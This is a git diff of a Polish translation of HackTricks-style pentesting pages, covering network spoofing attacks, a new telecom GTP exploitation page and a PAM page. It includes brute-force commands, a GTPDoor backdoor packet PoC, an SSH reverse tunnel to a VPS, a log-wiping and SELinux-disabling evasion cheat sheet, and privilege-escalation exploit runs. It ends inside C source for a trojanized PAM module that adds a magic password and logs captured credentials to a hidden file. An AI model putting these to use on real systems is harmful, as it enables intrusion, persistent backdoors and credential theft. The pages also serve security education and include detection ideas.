routera lub bramy. - **Adres IP głównego serwera DNS**: Użyj `-p 10.0.0.100`, aby ustawić adres IP nielegalnego serwera DNS, który kontrolujesz. - **Adres IP drugiego serwera DNS**: Opcjonalnie użyj `-s 10.0.0.1`, aby ustawić adres IP drugiego serwera DNS. -- **Maska podsieci lokalnej**: Użyj `-n 255.255.255.0`, aby zdefiniować maskę podsieci dla lokalnej sieci. +- **Maska sieci lokalnej**: Użyj `-n 255.255.255.0`, aby zdefiniować maskę dla lokalnej sieci. - **Interfejs dla ruchu DHCP**: Użyj `-I eth1`, aby nasłuchiwać ruchu DHCP na określonym interfejsie sieciowym. - **Adres konfiguracji WPAD**: Użyj `-w “http://10.0.0.100/wpad.dat”`, aby ustawić adres dla konfiguracji WPAD, co pomoże w przechwytywaniu ruchu sieciowego. - **Fałszowanie adresu IP domyślnej bramy**: Dodaj `-S`, aby sfałszować adres IP domyślnej bramy. @@ -525,10 +525,10 @@ Poprawne użycie tych opcji pozwala na skuteczne utworzenie nielegalnego serwera ``` ### **Ataki EAP** -Oto niektóre z taktyk ataku, które można wykorzystać przeciwko implementacjom 802.1X: +Oto niektóre z taktyk ataków, które można wykorzystać przeciwko implementacjom 802.1X: - Aktywne łamanie haseł metodą brute-force za pomocą EAP -- Atakowanie serwera RADIUS z użyciem zniekształconych treści EAP _\*\*_(exploits) +- Atakowanie serwera RADIUS z użyciem źle sformatowanej zawartości EAP _\*\*_(exploits) - Przechwytywanie wiadomości EAP i łamanie haseł offline (EAP-MD5 i PEAP) - Wymuszanie uwierzytelniania EAP-MD5 w celu ominięcia walidacji certyfikatu TLS - Wstrzykiwanie złośliwego ruchu sieciowego podczas uwierzytelniania za pomocą huba lub podobnego urządzenia @@ -549,16 +549,16 @@ glbp-and-hsrp-attacks.md ### RIP -Znane są trzy wersje protokołu Routing Information Protocol (RIP): RIP, RIPv2 i RIPng. Datagramy są wysyłane do sąsiadów przez port 520 przy użyciu UDP przez RIP i RIPv2, podczas gdy datagramy są rozgłaszane do portu UDP 521 za pomocą multicastu IPv6 przez RIPng. Obsługa uwierzytelniania MD5 została wprowadzona przez RIPv2. Z drugiej strony, natywne uwierzytelnianie nie jest włączone w RIPng; zamiast tego polega się na opcjonalnych nagłówkach IPsec AH i ESP w IPv6. +Znane są trzy wersje protokołu Routing Information Protocol (RIP): RIP, RIPv2 i RIPng. Datagramy są wysyłane do sąsiadów przez port 520 przy użyciu UDP przez RIP i RIPv2, podczas gdy datagramy są rozgłaszane do portu UDP 521 przez multicast IPv6 przez RIPng. Obsługa uwierzytelniania MD5 została wprowadzona przez RIPv2. Z drugiej strony, natywne uwierzytelnianie nie jest włączone w RIPng; zamiast tego polega się na opcjonalnych nagłówkach IPsec AH i ESP w IPv6. -- **RIP i RIPv2:** Komunikacja odbywa się za pomocą datagramów UDP na porcie 520. -- **RIPng:** Wykorzystuje port UDP 521 do rozgłaszania datagramów za pomocą multicastu IPv6. +- **RIP i RIPv2:** Komunikacja odbywa się przez datagramy UDP na porcie 520. +- **RIPng:** Wykorzystuje port UDP 521 do rozgłaszania datagramów przez multicast IPv6. Należy zauważyć, że RIPv2 obsługuje uwierzytelnianie MD5, podczas gdy RIPng nie zawiera natywnego uwierzytelniania, polegając na nagłówkach IPsec AH i ESP w IPv6. ### Ataki EIGRP -**EIGRP (Enhanced Interior Gateway Routing Protocol)** to dynamiczny protokół routingu. **Jest to protokół wektorowy odległości.** Jeśli nie ma **uwierzytelniania** i konfiguracji interfejsów pasywnych, **intruz** może zakłócić routing EIGRP i spowodować **zatrucie tabel routingu**. Ponadto sieć EIGRP (innymi słowy, autonomiczny system) **jest płaska i nie ma segmentacji na żadne strefy**. Jeśli **atakujący wstrzyknie trasę**, istnieje duże prawdopodobieństwo, że ta trasa **rozprzestrzeni się** w całym autonomicznym systemie EIGRP. +**EIGRP (Enhanced Interior Gateway Routing Protocol)** to dynamiczny protokół routingu. **Jest to protokół wektorowy odległości.** Jeśli nie ma **uwierzytelniania** i konfiguracji interfejsów pasywnych, **intruz** może zakłócić routing EIGRP i spowodować **zatrucie tabel routingu**. Ponadto sieć EIGRP (innymi słowy, system autonomiczny) **jest płaska i nie ma segmentacji na żadne strefy**. Jeśli **atakujący wstrzyknie trasę**, istnieje duże prawdopodobieństwo, że ta trasa **rozprzestrzeni się** w całym autonomicznym systemie EIGRP. Aby zaatakować system EIGRP, należy **nawiązać sąsiedztwo z legalnym routerem EIGRP**, co otwiera wiele możliwości, od podstawowego rozpoznania po różne wstrzyknięcia. @@ -572,10 +572,10 @@ eigrp-attacks.md ### OSPF -W protokole Open Shortest Path First (OSPF) **powszechnie stosuje się uwierzytelnianie MD5, aby zapewnić bezpieczną komunikację między routerami**. Jednak ten środek bezpieczeństwa może być naruszony za pomocą narzędzi takich jak Loki i John the Ripper. Narzędzia te są w stanie przechwytywać i łamać hashe MD5, ujawniając klucz uwierzytelniający. Po uzyskaniu tego klucza można go użyć do wprowadzenia nowych informacji routingu. Aby skonfigurować parametry trasy i ustawić skompromitowany klucz, wykorzystywane są odpowiednio zakładki _Injection_ i _Connection_. +W protokole Open Shortest Path First (OSPF) **powszechnie stosuje się uwierzytelnianie MD5, aby zapewnić bezpieczną komunikację między routerami**. Jednak ten środek bezpieczeństwa może być naruszony za pomocą narzędzi takich jak Loki i John the Ripper. Narzędzia te są w stanie przechwytywać i łamać hashe MD5, ujawniając klucz uwierzytelniający. Po uzyskaniu tego klucza można go użyć do wprowadzenia nowych informacji o trasie. Aby skonfigurować parametry trasy i ustawić skompromitowany klucz, wykorzystywane są odpowiednio zakładki _Injection_ i _Connection_. - **Przechwytywanie i łamanie hashy MD5:** Narzędzia takie jak Loki i John the Ripper są używane do tego celu. -- **Konfigurowanie parametrów trasy:** Odbywa się to za pomocą zakładki _Injection_. +- **Konfigurowanie parametrów trasy:** Odbywa się to przez zakładkę _Injection_. - **Ustawianie skompromitowanego klucza:** Klucz jest konfigurowany w zakładce _Connection_. ### Inne narzędzia i źródła ogólne @@ -596,7 +596,7 @@ Sprawdź [poprzednią sekcję](#arp-spoofing). ### ICMPRedirect -ICMP Redirect polega na wysyłaniu pakietu ICMP typu 1 kod 5, który wskazuje, że atakujący jest najlepszym sposobem dotarcia do danego adresu IP. Następnie, gdy ofiara chce skontaktować się z tym adresem IP, wyśle pakiet przez atakującego. +ICMP Redirect polega na wysyłaniu pakietu ICMP typu 1 kod 5, który wskazuje, że atakujący jest najlepszym sposobem na dotarcie do danego adresu IP. Następnie, gdy ofiara chce skontaktować się z tym adresem IP, wyśle pakiet przez atakującego. ```bash Ettercap icmp_redirect @@ -633,7 +633,7 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] ``` -### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +### [Spoofing LLMNR, NBT-NS, i mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) W przypadku lokalnego rozwiązywania hostów, gdy zapytania DNS są nieudane, systemy Microsoftu polegają na **Link-Local Multicast Name Resolution (LLMNR)** oraz **NetBIOS Name Service (NBT-NS)**. Podobnie, **Apple Bonjour** i implementacje **Linux zero-configuration** wykorzystują **Multicast DNS (mDNS)** do odkrywania systemów w sieci. Z powodu nieautoryzowanej natury tych protokołów i ich działania przez UDP, wysyłając wiadomości, mogą być wykorzystywane przez atakujących, którzy mają na celu przekierowanie użytkowników do złośliwych usług. @@ -644,17 +644,17 @@ Przeczytaj tutaj więcej informacji o tym, [jak podszywać się pod usługi za p Przeglądarki powszechnie wykorzystują **protokół Web Proxy Auto-Discovery (WPAD) do automatycznego pozyskiwania ustawień proxy**. Obejmuje to pobieranie szczegółów konfiguracyjnych z serwera, konkretnie przez URL taki jak "http://wpad.example.org/wpad.dat". Odkrycie tego serwera przez klientów może odbywać się za pomocą różnych mechanizmów: -- Przez **DHCP**, gdzie odkrycie jest ułatwione przez wykorzystanie specjalnego kodu 252. +- Poprzez **DHCP**, gdzie odkrycie jest ułatwione przez wykorzystanie specjalnego kodu 252. - Przez **DNS**, co polega na wyszukiwaniu nazwy hosta oznaczonej jako _wpad_ w lokalnej domenie. -- Poprzez **Microsoft LLMNR i NBT-NS**, które są mechanizmami zapasowymi używanymi w przypadkach, gdy zapytania DNS nie powiodą się. +- Za pomocą **Microsoft LLMNR i NBT-NS**, które są mechanizmami zapasowymi używanymi w przypadkach, gdy zapytania DNS nie powiodą się. Narzędzie Responder wykorzystuje ten protokół, działając jako **złośliwy serwer WPAD**. Używa DHCP, DNS, LLMNR i NBT-NS, aby wprowadzić klientów w błąd, zmuszając ich do połączenia się z nim. Aby zgłębić, jak można podszywać się pod usługi za pomocą Respondera, [sprawdź to](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). -### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) +### [Spoofing urządzeń SSDP i UPnP](spoofing-ssdp-and-upnp-devices.md) -Możesz oferować różne usługi w sieci, aby spróbować **oszukać użytkownika** do wprowadzenia jakichś **jawnych poświadczeń**. **Więcej informacji o tym ataku w** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** +Możesz oferować różne usługi w sieci, aby spróbować **oszukać użytkownika** do wprowadzenia jakichś **jawnych danych uwierzytelniających**. **Więcej informacji o tym ataku w** [**Spoofing SSDP i UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** -### IPv6 Neighbor Spoofing +### Spoofing sąsiadów IPv6 Ten atak jest bardzo podobny do ARP Spoofing, ale w świecie IPv6. Możesz sprawić, że ofiara pomyśli, że IPv6 GW ma MAC atakującego. ```bash @@ -684,7 +684,7 @@ mitm6 ### sslStrip -W zasadzie to, co robi ten atak, to w przypadku, gdy **użytkownik** próbuje **uzyskać dostęp** do strony **HTTP**, która jest **przekierowywana** na wersję **HTTPS**. **sslStrip** będzie **utrzymywać** połączenie **HTTP z** **klientem** i połączenie **HTTPS z** **serwerem**, dzięki czemu będzie w stanie **podsłuchiwać** połączenie w **czystym tekście**. +W zasadzie to, co robi ten atak, to w przypadku, gdy **użytkownik** próbuje **uzyskać dostęp** do strony **HTTP**, która **przekierowuje** do wersji **HTTPS**. **sslStrip** **utrzymuje** połączenie **HTTP z** **klientem** i połączenie **HTTPS z** **serwerem**, dzięki czemu będzie w stanie **podsłuchiwać** połączenie w **czystym tekście**. ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -699,16 +699,16 @@ Więcej informacji [tutaj](https://www.blackhat.com/presentations/bh-dc-09/Marli **Różnica** między **sslStrip+ a dns2proxy** a **sslStrip** polega na tym, że będą **przekierowywać** na przykład _**www.facebook.com**_ **na** _**wwww.facebook.com**_ (zauważ **dodatkowe** "**w**") i ustawią **adres tej domeny jako IP atakującego**. W ten sposób **klient** będzie **łączyć się** z _**wwww.facebook.com**_ **(atakujący)**, ale w tle **sslstrip+** będzie **utrzymywać** **prawdziwe połączenie** przez https z **www.facebook.com**. -**Celem** tej techniki jest **unikanie HSTS**, ponieważ _**wwww**.facebook.com_ **nie będzie** zapisane w **pamięci podręcznej** przeglądarki, więc przeglądarka zostanie oszukana, aby wykonać **uwierzytelnienie facebooka w HTTP**.\ +**Celem** tej techniki jest **unikanie HSTS**, ponieważ _**wwww**.facebook.com_ **nie będzie** zapisane w **pamięci podręcznej** przeglądarki, więc przeglądarka zostanie oszukana, aby wykonać **autoryzację facebooka w HTTP**.\ Zauważ, że aby przeprowadzić ten atak, ofiara musi najpierw spróbować uzyskać dostęp do [http://www.faceook.com](http://www.faceook.com), a nie https. Można to zrobić, modyfikując linki wewnątrz strony http. Więcej informacji [tutaj](https://www.bettercap.org/legacy/#hsts-bypass), [tutaj](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) i [tutaj](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -**sslStrip lub sslStrip+ już nie działają. Dzieje się tak, ponieważ w przeglądarkach są zapisane zasady HSTS, więc nawet jeśli to pierwszy raz, gdy użytkownik uzyskuje dostęp do "ważnej" domeny, uzyska do niej dostęp przez HTTPS. Zauważ również, że zapisane zasady i inne generowane zasady mogą używać flagi** [**`includeSubdomains`**](https://hstspreload.appspot.com) **więc przykład _**wwww.facebook.com**_ **z poprzedniego nie zadziała, ponieważ** _**facebook.com**_ **używa HSTS z `includeSubdomains`.** +**sslStrip lub sslStrip+ nie działają już. Dzieje się tak, ponieważ w przeglądarkach są zapisane zasady HSTS, więc nawet jeśli to pierwszy raz, gdy użytkownik uzyskuje dostęp do "ważnej" domeny, uzyska do niej dostęp przez HTTPS. Zauważ również, że zapisane zasady i inne generowane zasady mogą używać flagi** [**`includeSubdomains`**](https://hstspreload.appspot.com) **więc przykład _**wwww.facebook.com**_ **z poprzedniego nie zadziała, ponieważ** _**facebook.com**_ **używa HSTS z `includeSubdomains`.** TODO: easy-creds, evilgrade, metasploit, factory -## Nasłuchiwanie TCP na porcie +## TCP nasłuch na porcie ```bash sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - @@ -736,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI Czasami, jeśli klient sprawdzi, że CA jest ważne, możesz **serwować certyfikat innej nazwy hosta podpisany przez CA**.\ Innym interesującym testem jest **serwowanie certyfikatu żądanej nazwy hosta, ale samopodpisanego**. -Inne rzeczy do przetestowania to próba podpisania certyfikatu ważnym certyfikatem, który nie jest ważnym CA. Lub użycie ważnego klucza publicznego, wymuszenie użycia algorytmu takiego jak Diffie-Hellman (takiego, który nie wymaga odszyfrowania czegokolwiek za pomocą prawdziwego klucza prywatnego) i gdy klient poprosi o próbkę prawdziwego klucza prywatnego (jak hasz), wysłanie fałszywej próbki i oczekiwanie, że klient tego nie sprawdzi. +Inne rzeczy do przetestowania to próba podpisania certyfikatu ważnym certyfikatem, który nie jest ważnym CA. Lub użycie ważnego klucza publicznego, wymuszenie użycia algorytmu takiego jak Diffie-Hellman (takiego, który nie wymaga odszyfrowania czegokolwiek za pomocą prawdziwego klucza prywatnego) i gdy klient zażąda próby prawdziwego klucza prywatnego (jak hasz), wysłanie fałszywej próby i oczekiwanie, że klient tego nie sprawdzi. ## Bettercap ```bash @@ -766,15 +766,15 @@ wifi.recon on; wifi.ap ``` ### Notatki dotyczące aktywnego odkrywania -Weź pod uwagę, że gdy pakiet UDP jest wysyłany do urządzenia, które nie ma żądanego portu, wysyłany jest komunikat ICMP (Port Unreachable). +Weź pod uwagę, że gdy pakiet UDP jest wysyłany do urządzenia, które nie ma żądanego portu, wysyłany jest ICMP (Port Unreachable). -### **ARP discover** +### **Odkrywanie ARP** Pakiety ARP są używane do odkrywania, które adresy IP są używane w sieci. Komputer musi wysłać zapytanie dla każdego możliwego adresu IP, a tylko te, które są używane, odpowiedzą. ### **mDNS (multicast DNS)** -Bettercap wysyła zapytanie MDNS (co X ms) pytając o **\_services\_.dns-sd.\_udp.local**, maszyna, która widzi ten pakiet, zazwyczaj odpowiada na to zapytanie. Następnie wyszukuje tylko maszyny odpowiadające na "services". +Bettercap wysyła zapytanie MDNS (co X ms) pytając o **\_services\_.dns-sd.\_udp.local**. Maszyna, która widzi ten pakiet, zazwyczaj odpowiada na to zapytanie. Następnie wyszukuje tylko maszyny odpowiadające na "services". **Narzędzia** @@ -784,23 +784,27 @@ Bettercap wysyła zapytanie MDNS (co X ms) pytając o **\_services\_.dns-sd.\_ud ### **NBNS (NetBios Name Server)** -Bettercap wysyła pakiety broadcast do portu 137/UDP pytając o nazwę "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". +Bettercap rozsyła pakiety do portu 137/UDP pytając o nazwę "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". ### **SSDP (Simple Service Discovery Protocol)** -Bettercap wysyła pakiety SSDP broadcast w poszukiwaniu wszelkiego rodzaju usług (UDP Port 1900). +Bettercap rozsyła pakiety SSDP w poszukiwaniu wszelkiego rodzaju usług (UDP Port 1900). ### **WSD (Web Service Discovery)** -Bettercap wysyła pakiety WSD broadcast w poszukiwaniu usług (UDP Port 3702). +Bettercap rozsyła pakiety WSD w poszukiwaniu usług (UDP Port 3702). + +### Eksploatacja Telecom / Mobile-Core (GTP) + +{{#ref}} +telecom-network-exploitation.md +{{#endref}} ## Odniesienia - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -- **Network Security Assessment: Know Your Network (3rd edition)** -- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** +- **Ocena bezpieczeństwa sieci: Poznaj swoją sieć (3. wydanie)** +- **Praktyczne Hacking IoT: Ostateczny przewodnik po atakowaniu Internetu Rzeczy. Autorzy: Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md new file mode 100644 index 000000000..2566cae33 --- /dev/null +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -0,0 +1,140 @@ +# Telecom Network Exploitation (GTP / Roaming Environments) + +{{#include ../../banners/hacktricks-training.md}} + +> [!NOTE] +> Protokół mobilny (GPRS Tunnelling Protocol – GTP) często przechodzi przez pół-zaufane rdzenie roamingowe GRX/IPX. Ponieważ korzystają z prostego UDP z prawie żadną autoryzacją, **jakiekolwiek wejście wewnątrz perymetru telekomunikacyjnego zazwyczaj może bezpośrednio dotrzeć do rdzeniowych płaszczyzn sygnalizacyjnych**. Poniższe uwagi zbierają ofensywne sztuczki zaobserwowane w terenie przeciwko SGSN/GGSN, PGW/SGW i innym węzłom EPC. + +## 1. Recon & Initial Access + +### 1.1 Default OSS / NE Accounts +Zaskakująco duża liczba elementów sieciowych dostawców jest dostarczana z twardo zakodowanymi użytkownikami SSH/Telnet, takimi jak `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Dedykowana lista słów znacznie zwiększa sukces brute-force: +```bash +hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt +``` +Jeśli urządzenie udostępnia tylko VRF zarządzania, najpierw przeskocz przez host skokowy (zobacz sekcję «SGSN Emu Tunnel» poniżej). + +### 1.2 Odkrywanie hostów w GRX/IPX +Większość operatorów GRX nadal pozwala na **ICMP echo** wzdłuż rdzenia. Połącz `masscan` z wbudowanymi sondami UDP `gtpv1`, aby szybko zmapować nasłuchiwacze GTP-C: +```bash +masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 +``` +## 2. Enumerowanie subskrybentów – `cordscan` + +Narzędzie Go tworzy pakiety **GTP-C Create PDP Context Request** i rejestruje odpowiedzi. Każda odpowiedź ujawnia aktualny **SGSN / MME** obsługujący zapytany IMSI i, czasami, odwiedzony przez subskrybenta PLMN. +```bash +# Build +GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan + +# Usage (typical): +./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap +``` +Kluczowe flagi: +- `--imsi` Docelowy subskrybent IMSI +- `--oper` Krajowy / HNI (MCC+MNC) +- `-w` Zapisz surowe pakiety do pcap + +Ważne stałe wewnątrz binarnego pliku mogą być zmieniane, aby rozszerzyć skany: +``` +pingtimeout = 3 // seconds before giving up +pco = 0x218080 +common_tcp_ports = "22,23,80,443,8080" +``` +## 3. Wykonanie kodu przez GTP – `GTPDoor` + +`GTPDoor` to mała usługa ELF, która **wiąże UDP 2123 i analizuje każdy przychodzący pakiet GTP-C**. Gdy ładunek zaczyna się od wspólnego tagu, reszta jest deszyfrowana (AES-128-CBC) i wykonywana za pomocą `/bin/sh -c`. stdout/stderr są eksfiltrowane w wiadomościach **Echo Response**, aby żadne zewnętrzne sesje nie były tworzone. + +Minimalny pakiet PoC (Python): +```python +import gtpc, Crypto.Cipher.AES as AES +key = b"SixteenByteKey!" +cmd = b"id;uname -a" +enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) +print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) +``` +Wykrywanie: +* każdy host wysyłający **niezrównoważone żądania Echo** do adresów IP SGSN +* flaga wersji GTP ustawiona na 1, gdy typ wiadomości = 1 (Echo) – odchylenie od specyfikacji + +## 4. Przechodzenie przez rdzeń + +### 4.1 `sgsnemu` + SOCKS5 +`OsmoGGSN` dostarcza emulator SGSN zdolny do **nawiązania kontekstu PDP w kierunku rzeczywistego GGSN/PGW**. Po negocjacji, Linux otrzymuje nowy interfejs `tun0` dostępny z roamingowego partnera. +```bash +sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ +-APN internet -c 1 -d +ip route add 172.16.0.0/12 dev tun0 +microsocks -p 1080 & # internal SOCKS proxy +``` +Dzięki odpowiedniemu przekierowaniu zapory, ten tunel omija VLAN-y tylko do sygnalizacji i ląduje bezpośrednio w **warstwie danych**. + +### 4.2 SSH Reverse Tunnel over Port 53 +DNS jest prawie zawsze otwarty w infrastrukturach roamingowych. Udostępnij wewnętrzną usługę SSH na swoim VPS nasłuchującą na :53 i wróć później z domu: +```bash +ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com +``` +Sprawdź, czy `GatewayPorts yes` jest włączone na VPS. + +## 5. Ukryte kanały + +| Kanał | Transport | Dekodowanie | Uwagi | +|-------|-----------|-------------|-------| +| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-bajtowy klucz + 14-bajtowe kawałki (XOR) | czysty pasywny nasłuchiwacz, brak ruchu wychodzącego | +| DNS – `NoDepDNS` | UDP 53 | XOR (klucz = `funnyAndHappy`) zakodowany w oktetach rekordu A | obserwuje subdomenę `*.nodep` | +| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC w prywatnym IE | łączy się z legalnym szumem GTP-C | + +Wszystkie implanty implementują watchdogi, które **timestomp** ich binaria i ponownie się uruchamiają w przypadku awarii. + +## 6. Arkusz oszustw dotyczący unikania obrony +```bash +# Remove attacker IPs from wtmp +utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp + +# Disable bash history +export HISTFILE=/dev/null + +# Masquerade as kernel thread +echo 0 > /proc/$$/autogroup # hide from top/htop +printf '\0' > /proc/$$/comm # appears as [kworker/1] + +touch -r /usr/bin/time /usr/bin/chargen # timestomp +setenforce 0 # disable SELinux +``` +## 7. Eskalacja uprawnień w Legacy NE +```bash +# DirtyCow – CVE-2016-5195 +gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd + +# PwnKit – CVE-2021-4034 +python3 PwnKit.py + +# Sudo Baron Samedit – CVE-2021-3156 +python3 exploit_userspec.py +``` +Wskazówka dotycząca czyszczenia: +```bash +userdel firefart 2>/dev/null +rm -f /tmp/sh ; history -c +``` +## 8. Narzędzia + +* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – niestandardowe narzędzia opisane w poprzednich sekcjach. +* `FScan` : skanowanie TCP w intranecie (`fscan -p 22,80,443 10.0.0.0/24`) +* `Responder` : LLMNR/NBT-NS fałszywy WPAD +* `Microsocks` + `ProxyChains` : lekkie pivotowanie SOCKS5 +* `FRP` (≥0.37) : przechodzenie przez NAT / mostkowanie zasobów + +--- +## Pomysły na wykrywanie +1. **Jakiekolwiek urządzenie inne niż SGSN/GGSN ustanawiające żądania utworzenia kontekstu PDP**. +2. **Niestandardowe porty (53, 80, 443) odbierające handshake SSH** z wewnętrznych adresów IP. +3. **Częste żądania Echo bez odpowiadających odpowiedzi Echo** – mogą wskazywać na sygnały GTPDoor. +4. **Wysoka liczba ruchu ICMP echo-reply z dużymi, niezerowymi polami identyfikatora/sekwencji**. + +## Odnośniki + +- [Palo Alto Unit42 – Infiltracja globalnych sieci telekomunikacyjnych](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) +- 3GPP TS 29.060 – Protokół tunelowania GPRS (v16.4.0) +- 3GPP TS 29.281 – GTPv2-C (v17.6.0) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md b/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md index 99510aede..3475e9799 100644 --- a/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md +++ b/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md @@ -4,7 +4,7 @@ ### Podstawowe informacje -**PAM (Pluggable Authentication Modules)** działa jako mechanizm zabezpieczeń, który **weryfikuje tożsamość użytkowników próbujących uzyskać dostęp do usług komputerowych**, kontrolując ich dostęp na podstawie różnych kryteriów. Jest podobny do cyfrowego strażnika, zapewniając, że tylko autoryzowani użytkownicy mogą korzystać z określonych usług, jednocześnie potencjalnie ograniczając ich użycie, aby zapobiec przeciążeniu systemu. +**PAM (Pluggable Authentication Modules)** działa jako mechanizm zabezpieczeń, który **weryfikuje tożsamość użytkowników próbujących uzyskać dostęp do usług komputerowych**, kontrolując ich dostęp na podstawie różnych kryteriów. Jest to podobne do cyfrowego strażnika, który zapewnia, że tylko autoryzowani użytkownicy mogą korzystać z określonych usług, jednocześnie potencjalnie ograniczając ich użycie, aby zapobiec przeciążeniu systemu. #### Pliki konfiguracyjne @@ -24,16 +24,16 @@ password required /lib/security/pam_ldap.so password required /lib/security/pam_pwdb.so use_first_pass session required /lib/security/pam_unix_session.so ``` -#### **Obszary zarządzania PAM** +#### **Zarządzanie obszarami PAM** Te obszary, lub grupy zarządzania, obejmują **auth**, **account**, **password** i **session**, z których każdy odpowiada za różne aspekty procesu uwierzytelniania i zarządzania sesjami: - **Auth**: Weryfikuje tożsamość użytkownika, często prosząc o hasło. - **Account**: Obsługuje weryfikację konta, sprawdzając warunki takie jak przynależność do grupy lub ograniczenia czasowe. -- **Password**: Zarządza aktualizacjami haseł, w tym kontrolami złożoności lub zapobieganiem atakom słownikowym. +- **Password**: Zarządza aktualizacjami haseł, w tym kontrolą złożoności lub zapobieganiem atakom słownikowym. - **Session**: Zarządza działaniami podczas rozpoczęcia lub zakończenia sesji usługi, takimi jak montowanie katalogów lub ustawianie limitów zasobów. -#### **Kontrole modułów PAM** +#### **Kontrola modułów PAM** Kontrole określają reakcję modułu na sukces lub porażkę, wpływając na ogólny proces uwierzytelniania. Obejmują one: @@ -44,10 +44,65 @@ Kontrole określają reakcję modułu na sukces lub porażkę, wpływając na og #### Przykładowy scenariusz -W konfiguracji z wieloma modułami auth, proces przebiega w ścisłej kolejności. Jeśli moduł `pam_securetty` stwierdzi, że terminal logowania jest nieautoryzowany, logowania roota są zablokowane, jednak wszystkie moduły są nadal przetwarzane z powodu jego statusu "required". Moduł `pam_env` ustawia zmienne środowiskowe, co może wspierać doświadczenia użytkownika. Moduły `pam_ldap` i `pam_unix` współpracują, aby uwierzytelnić użytkownika, przy czym `pam_unix` próbuje użyć wcześniej podanego hasła, zwiększając efektywność i elastyczność metod uwierzytelniania. +W konfiguracji z wieloma modułami auth, proces przebiega w ścisłej kolejności. Jeśli moduł `pam_securetty` uzna terminal logowania za nieautoryzowany, logowania root są zablokowane, jednak wszystkie moduły są nadal przetwarzane z powodu jego statusu "required". Moduł `pam_env` ustawia zmienne środowiskowe, co może wspierać doświadczenia użytkownika. Moduły `pam_ldap` i `pam_unix` współpracują, aby uwierzytelnić użytkownika, przy czym `pam_unix` próbuje użyć wcześniej podanego hasła, zwiększając efektywność i elastyczność metod uwierzytelniania. -### Referencje +## Backdooring PAM – Hooking `pam_unix.so` + +Klasycznym trikiem na utrzymanie dostępu w środowiskach Linux o wysokiej wartości jest **zamiana legalnej biblioteki PAM na trojanizowany drop-in**. Ponieważ każde logowanie SSH / konsolowe kończy się wywołaniem `pam_unix.so:pam_sm_authenticate()`, kilka linii C wystarczy, aby przechwycić dane uwierzytelniające lub wdrożyć *magiczne* obejście hasła. + +### Arkusz skrótów do kompilacji +```c +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +static int (*orig)(pam_handle_t *, int, int, const char **); +static const char *MAGIC = "Sup3rS3cret!"; + +int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { +const char *user, *pass; +pam_get_user(pamh, &user, NULL); +pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL); + +/* Magic pwd → immediate success */ +if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS; + +/* Credential harvesting */ +int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600); +dprintf(fd, "%s:%s\n", user, pass); +close(fd); + +/* Fall back to original function */ +if(!orig) { +orig = dlsym(RTLD_NEXT, "pam_sm_authenticate"); +} +return orig(pamh, flags, argc, argv); 